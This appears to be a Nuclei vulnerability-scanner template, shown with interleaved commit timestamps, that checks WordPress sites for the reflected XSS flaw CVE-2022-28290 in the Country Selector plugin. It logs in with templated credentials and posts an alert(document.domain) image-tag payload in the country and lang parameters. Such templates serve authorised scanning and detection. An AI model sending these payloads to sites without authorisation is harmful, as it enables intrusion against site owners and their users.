2022-05-10 08:49:06 +00:00
id : CVE-2022-28290
info :
2022-10-18 08:18:29 +00:00
name : Country Selector < 1.6.6 - Cross-Site Scripting
2022-05-10 08:49:06 +00:00
author : Akincibor
severity : medium
2022-10-18 08:18:29 +00:00
description : |
The plugin does not sanitise and escape the country and lang parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting.
2022-05-10 08:49:06 +00:00
reference :
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
2022-10-18 08:18:29 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-28290
2022-10-20 08:20:28 +00:00
- https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-28290
cwe-id : CWE-79
tags : wordpress-country-selector,wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss
2022-05-10 08:49:06 +00:00
requests :
- raw :
2022-10-18 08:33:08 +00:00
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
2022-05-10 08:49:06 +00:00
- |
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-10-18 08:18:29 +00:00
country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US
2022-10-18 08:33:08 +00:00
skip-variables-check : true
cookie-reuse : true
2022-05-10 08:49:06 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-10-18 08:18:29 +00:00
- '<img src=x onerror=alert(document.domain)>'
- 'country_selector_'
condition : and
2022-05-10 08:49:06 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200